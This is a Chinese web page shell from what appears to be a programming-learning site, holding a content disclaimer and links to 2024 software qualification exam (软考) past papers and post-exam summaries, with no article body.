① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

软考中级精品资料免费领

  • 历年真题答案解析
  • 备考技巧名师总结
  • 高频考点精准押题
  • 2024年上半年信息系统项目管理师第二批次真题及答案解析(完整版)

    难度     813人已做
    查看
  • 【考后总结】2024年5月26日信息系统项目管理师第2批次考情分析

    难度     354人已做
    查看
  • 【考后总结】2024年5月25日信息系统项目管理师第1批次考情分析

    难度     318人已做
    查看
  • 2024年上半年软考高项第一、二批次真题考点汇总(完整版)

    难度     435人已做
    查看
  • 2024年上半年系统架构设计师考试综合知识真题

    难度     224人已做
    查看

相关文章

发现更多好内容

猜你喜欢

AI推送时光机
位置:首页-资讯-后端开发
咦!没有更多了?去看看其它编程学习网 内容吧
首页课程
资料下载
问答资讯